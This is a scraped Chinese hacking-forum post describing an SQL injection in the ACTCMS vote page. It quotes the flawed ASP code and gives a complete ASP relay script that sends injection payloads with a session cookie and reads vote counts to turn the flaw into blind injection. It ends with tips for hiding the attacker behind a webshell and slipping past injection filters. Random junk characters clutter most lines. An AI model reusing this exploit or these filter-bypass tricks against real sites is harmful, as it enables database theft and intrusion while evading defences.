中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
$ H: v" r E* i1 h/ \: Q f, ?
看到ninty大牛的blog的一篇文章
& t2 R; v" Z9 V: }8 `
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
8 y+ p! u K9 v8 ]" v
关于actcms漏洞的利用 by 3x qq:381862589
7 X8 a' I# e7 e' I2 z
转载请注明以上
3 z$ G6 B) Q4 q5 V5 o$ {* Y% t7 p7 Y
漏洞文件:
; T: w" W/ U7 r7 O9 P
/plus/vote/vote.asp
; V+ ?2 [4 _1 ~
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
- X% q X8 ]8 g, s7 U- j
' Z0 z6 s# s# i' @+ T- s
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
; c7 i2 e3 T: D
. `) u; G- H" d# f
3 response.end
3 Q" j! g! g6 H8 @
! y( e* R/ }* u1 d
4 end if
; s1 o* ~! D9 L2 B- h
- j5 v0 A1 }8 ?7 O- u' _
5 for i=1 to request("voted").count
. P g( l% E( Q; _
5 |% ~4 k' F9 |' Q7 |" p8 [6 R
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
$ M+ J7 D8 o7 ]8 n
6 q2 C/ ^* q4 u; A0 z9 l' s( D
7 next
H5 I( E8 t( \
0 ] I" _; k5 P- I- K/ i& ]. ]: @: u
8....
7 M7 v8 R% p9 ]; d/ C7 h& ^
0 U6 Y9 ~. g7 |+ s/ q C2 V
9response.Redirect "index.asp?id="&id&""
) I9 D8 d0 a. \7 p0 n2 [( W
投票结束回跳转回index.asp这个投票结果页面
0 y# O z( ]+ @8 }' f6 s, k; g
如果投票成功票数加1
' x# H, X5 K7 t
失败票数不变
/ R8 S! A0 T9 D3 k2 e
如图:
% R4 _! I! S6 x/ q. x
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
0 m' a* ?9 [. k6 h% F" Z
5 D0 v X7 n W
2009-12-27 13:20
; B% ^' B: @: z8 T
3 m& r1 `6 \. }* J1 A
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
7 @/ Y4 O( j6 r! t2 [
! h$ N$ p) G, b2 s0 n
本帖隐藏的内容需要回复才可以浏览
7 D7 [/ N4 ~# L" f
我们用注入中转来实现这个注入具体代码如下:
7 p' i1 s. D: @4 G1 `% G0 ^4 K3 g
先用寂寞的刺猬大牛的注入中转生成jmget.asp
; _1 p4 }7 N0 M- o2 t) n" d) H
注入地址:http://localhost/actcms/plus/vote/vote.asp
% o( m4 b5 q8 X* w+ s, |
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
6 o* S: e5 E B( G* j1 U
: D: K; b+ z( ]0 e/ O
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
8 V. q" H; H: Q0 ?) G
' q8 t6 E Y% T Z! @ i9 X8 H
02JmdcwName=request("jmdcw")
8 P9 B. C! h' J2 ~( @' R6 X7 R
# v8 Z+ V/ y9 u z8 `
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
. D* u! ^' d9 f5 S# G9 u/ {
, D, k# h4 J9 `( p2 X% u
04JmStr="id=1&voted=-1 or 1="&JmdcwName
1 j4 K) s. I4 l
& A% u" M0 M4 O+ Y, E+ t# q: c# C
05JmStr=URLEncoding(JmStr)
% O0 K: ` T8 P! k& C
+ \8 t0 [7 P7 k/ z
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
# k& O: V, F/ D, O9 A
& o7 E: b, O" E6 Q% Z' j
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
$ ^' G- j4 O; K4 S. H' v* j
- ~$ o% i) S& c- J$ l
08testurl=testurl & "?" & JmStr
* k4 p! L! Z4 \, ~% O# m
' N/ n0 u- R% m; t `$ k
09JMUrl=JMUrl & "?" & JmStr
# j. y- m. D) }7 v
* g0 j8 N7 h1 ^8 h$ z4 m; |
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
! D& n: A `# ]; z7 J
% V" j9 s# X1 C" m% ]0 e
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
4 \& [6 x2 k5 g# z9 l* n
# U! n( p" Z% _9 T& T! z
12JmCok=replace(JmCok,chr(32),"%20")
2 P G( U! s9 f" b& j$ Z9 C# t
6 r1 T+ |' ?3 m5 _% B* q$ c9 ]
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
+ h2 Z8 n/ B4 B
2 b4 O5 P* i8 d# f2 `$ A% k
14
5 T5 p' R0 J# b) b0 Z
! h, g+ Q1 D# F
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
* ^' K% i( [# V+ @0 a ^, L( i
7 r- i; B% X; |# a* `+ |
16
, p+ l- l N( p
9 D; K5 h0 k: {- x* z
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
% G9 v' a" x6 I* S4 k, R
0 S9 l* U6 v0 s8 u2 e
18response.write test1&""&test2&""
6 q0 i. D1 D5 s0 x( x9 L
! j9 ^# k. R. r4 e# k8 R
19
. B) ?7 g! Y- m0 H: F/ x
( u* Q& j5 D; u5 H
20if test1=test2 then '如前后记录相等,表示失败
, N5 M- C5 \2 z! ^! w/ p9 X) _
0 D6 Y f/ p+ t8 g0 A5 J" S
21 response.write "failed"
) }1 j& f' E3 T% B! \' x% m% g
) G7 p. N, ~* @ r
22else
3 a4 D7 F- b3 |* E4 i8 p& x
; w" S+ [/ {4 Z w; o4 z. i; Q
23 response.write "succeed"
3 t! |) A) N2 B
0 i. z+ R; s2 V
24end if
* R- O# C' g9 S
- ~: `5 J$ m( b& m3 r
25
" ?) t9 ~7 J% C! I0 D! f2 I. j
4 ~! k5 R. u/ p
26response.write "by 3x"
) r% R/ i k- R1 O- m0 _
1 [5 o2 D& M9 @7 @ S% z9 Y6 g1 r$ m
27
# f A8 e3 T1 Q* P
, T# [- q! G3 J1 R) z* N! |$ F* H+ W( ~
28
8 L! |' k$ |7 ]2 K; _
, r3 b$ _ Z& w, o- ~
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
7 F( W" r7 p' w
4 U R0 V2 J& ~' w; a
30Dim Http
' F/ ~) F$ k. }4 F9 ` m$ u, M7 f0 K
* H- C7 U2 ]& t7 z8 h- q# S
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
- T1 `5 A* v5 N2 |
5 h0 U9 O2 h, c! C" x
32With Http
; s" n. m( S! @2 }; O
& ~3 y; g& G+ A. n: D5 ~5 g4 [
33
: Y( U% P6 v# U6 D
# a! M. R+ G% W4 L6 l/ |
34.Open "GET",PostUrl,False
& {! s( a# i" z* O# u0 s
2 p7 u, @& u" m1 q7 B
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
# o$ W1 k7 `) O. ~: q
$ z, Z9 ?3 q+ Q$ E+ D
36.SetRequestHeader "Referer",PostRef
$ g0 X; l2 p0 W! ^. b
3 R. r1 x7 ]8 z
37.SetRequestHeader "Cookie",PostCok
" R* P! l/ l% q6 j& E
. y" L- f; U7 M5 ]
38.Send ()
. U* v: A3 p( G' {3 W& i
, {( b9 X' l6 q1 V" V0 S) N' G; [
39PostData = .ResponseBody
: ~8 g: f2 m1 f1 d) I1 c
& [' @7 K. ~- k8 R3 l
40End With
5 r- z7 P8 f! R) t. r
& s# @' r7 w. ^3 r
41Set Http = Nothing
W; n- O# d4 A2 @
5 ~1 r" Z" _2 L3 J
42PostData =bytes2BSTR(PostData)
* s6 J/ w( K0 x1 h0 l5 K
9 E' t2 E, k% G% N* Z: Z
43End Function
- g- W0 j7 f* j5 ?6 S
' N2 ~/ C' e# `
44
% v7 [: p5 Z2 a; l7 X" z
4 u' l$ A% E8 k( @4 f2 Y
45
* N2 e* J# w! @
5 K( k6 S7 n1 H* P( E- Z7 P
46Function bytes2BSTR(vIn)
. c+ i6 ~, q- u) `
( I) t! k- J! H9 ^7 M- K
47Dim strReturn
" y0 P: n1 g6 _% p
' _9 Z" q0 Q$ F: ? Q) Y
48Dim I, ThisCharCode, NextCharCode
1 g0 j" L( _8 v ?/ `; L
" I. Y" l! M% U! Q# P/ R
49strReturn = ""
0 f0 |4 z1 V1 j, S
/ v! J3 w3 k& q# v; O( ^2 m
50For I = 1 To LenB(vIn)
6 h6 f( [# ^+ Z5 v* K, P/ u
7 N5 Q7 R( o( _# }* v; G, C
51ThisCharCode = AscB(MidB(vIn, I, 1))
+ U' w M# f" r' q2 Q) {, `* y+ }! l
* X- z) L+ j6 X$ ^
52If ThisCharCode < &H80 Then
' l( C+ R4 C+ ~# [7 k: O1 |# ~
0 Z8 h' V# L% L4 N4 u
53strReturn = strReturn & Chr(ThisCharCode)
' f4 _1 C" |$ l- D4 ~- {
* K- S/ J1 s% K0 l. o
54Else
: P8 J8 R# a1 q' k V9 w. d ]
" F5 @6 T% L: r' G4 G* w+ x) d h& r4 O
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
) w1 L. Q8 @' u8 w4 \) l/ x) Q* ^
& i5 H/ O! p, S. n- U. y8 x
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
, y( ^1 R8 `. v$ o" v5 v1 \/ M8 T
5 j) H: K0 D4 ?* W
57I = I + 1
' Q. o5 I0 p- n5 f( b
4 @. q+ z1 y$ h' C5 F; ]
58End If
9 W! P: ^) f# @
( D( e/ m' d$ I y+ e& T& w
59Next
% _5 ]* K2 B2 `2 f' r' x: X* S. H# D
5 \# N# b3 k4 Q& o4 |+ V1 s
60bytes2BSTR = strReturn
; ~* ~* u, p2 v- K; _1 f3 T
& g; v# O& g' h1 x4 p d- @6 U
61End Function
& O2 P, B8 X8 D' G: Z
' r' Y) M& k/ Z% }
62
4 O6 I+ T! _! _0 a! Q
! ~9 A. H2 m. K: d2 T7 S
63Function URLEncoding(vstrin)
" N, G* k/ K* }
9 b$ G# y* C# i$ r- ?- Z d7 Y
64strReturn=""
/ P* H' x! ?; d
4 h. P1 E9 W$ E
65Dim i
( B( u& |/ ]# Q. K* w+ a) ^! P
( k) t" G8 p; s0 V- R& b+ b! v
66For i=1 To Len(vstrin)
! f) A& u+ d; h0 [" B0 V5 T2 W
( a4 H9 w6 C+ O5 B) {% }3 _
67ThisChr=Mid(vstrin,i,1)
+ g! B$ j7 u; i' ] M
$ }4 c' H) J( m1 R4 F- b8 W9 V1 X
68if Abs(Asc(ThisChr))< &HFF Then
, L5 l+ ^* H+ v; I. l( `% n6 J
" S% q% O' l9 E# C
69strReturn=strReturn & ThisChr
- S% [6 t. e6 W! Z! ]) C8 c
) r( `! [- Y( n
70Else
4 o( B8 ?7 k" O! U: H
& v: a. }: J& h6 E3 N
71InnerCode=Asc(ThisChr)
& ^4 {- m1 c" o1 g/ g( L
( k7 i8 C9 k5 _" K/ P5 U9 W
72If InnerCode<0 Then
7 y$ [/ F4 N, Z: G0 Z
4 i% s; A5 A5 K+ U( [ m& ?
73InnerCode=InnerCode + &H10000
3 w- p3 e+ z7 R- \' _! {
- i0 Z# |/ L. ^6 O4 U8 J
74End If
1 b2 {( n8 l/ L
$ F1 W0 V5 y) D4 a7 b# K
75Hight1=(InnerCode And &HFF00) \&HFF
- R$ c# e7 C& J- d8 V
" e! ^: v) }# r z& b& t4 m
76Low1=InnerCode And &HFF
! ]- p- g+ d" t6 J( |; m7 ?9 S( E. I
b, ]( a9 j) q& N, F( M
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
1 u( J; k; G8 c: W2 ~' P3 ^; F
, ^: Z( W( W! t( ~' x5 @9 Y: t, A
78End if
$ w7 ~3 r% b+ N& [: }6 v: u
2 V0 q1 }2 Z* `7 |+ }8 x
79Next
. O( p, l0 |; f
. O7 s+ Y& v/ j) }- a) N" r
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
: E; ~5 g# j! _0 f# e& G: r/ F
6 T D- h, W" [- Q7 U
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
* w$ _) `5 t+ F& H
) v z; m# K4 H6 T% s5 ?
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
* _* j' X8 T4 e. L" b% F; E6 X
5 M5 J6 U* Y) c$ ?! R; a2 K) Z
83URLEncoding=strReturn
% U' C5 F4 G3 j2 N/ {; q% r/ ^
/ ` {2 O3 c+ M" a, ]4 a- F
84End Function
( Y, J* t( S5 m, \6 k% D
- }4 U' N+ h0 x! l& w' s4 M
85
! Q4 N B/ @5 ]8 m9 G8 c L5 ~- {* L$ K; z
) {9 E1 E, t: B9 \* L
86function getSt(body)
7 J& M* }& k; S6 _. t+ n
* z n8 C7 Z- S/ ^2 ^
87 startpot=instr(body,"投票人数:")+len("投票人数:")
- j K3 P* ~" r+ V- Q) m% Z+ C; [1 g
) ~4 J. W6 J, x; L. S2 L( W
88 endpot=instr(startpot,body," ")
6 P8 V4 _' G6 i
5 { [( [1 l6 x
89 getSt=mid(body,startpot,endpot-startpot)
( B/ Y8 t, N! H) C& _, {
! ^1 j# t: F r$ g" v" I( p1 ]
90end function
0 p3 v+ M) L" `. g! x1 T4 c
. T- H6 W" [" e& P2 l9 W
91%>
* h# ^' t1 _ q G: n
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
) c' r% u$ p* K8 [4 g' ?
测试下效果:
- f: |1 W7 h+ _( x; |
投票成功:
; E, T2 i$ ]: {" b4 L! W$ p
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
, R1 m2 ^8 R2 l
8 y5 D- m8 x. J3 K& @
2009-12-27 13:29
5 q# {8 N0 U' x- B
投票失败
/ Y; b7 P. I4 Z& P: |! Q
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
! {- J3 x/ k- f8 H/ m' E
+ D+ p* @7 t0 M2 q' o( H
2009-12-27 13:29
! \" C" `, J8 c9 C1 d1 A k* e/ V/ a: u
-------------------------------------------------------------------------------
' g! v* q5 W" |3 W" s
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
$ t. H3 U; I9 t$ T, v/ ]: a: U {
很抱歉。。。只能用单线程工具去注入。。。。。
- E3 B! e, f* d
所以失败。。。不好意思。。。
1 P& @$ Q4 F/ M/ c' l* f! ?' j
-------------------------------------------------------------------------------
+ o- N. f! m$ D+ o" k* g
7 U1 t( L0 ^0 N+ w
注入中转的一些其他应用
. b1 ]- V& g+ [2 E6 l+ H
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
}3 b& e# M( d- L; J+ V
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
& k5 ~4 }/ W* R* u x
2.post注入转成get型的注入,方便我们使用工具来跑
+ H1 j1 [6 p6 M0 z8 A$ {! O
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
' c0 v6 _0 D$ P# V, U0 k2 R& E
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
2 V3 R& ^; X& ]! f6 h6 s
% [& f1 `# X T9 O& B" Y' Z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2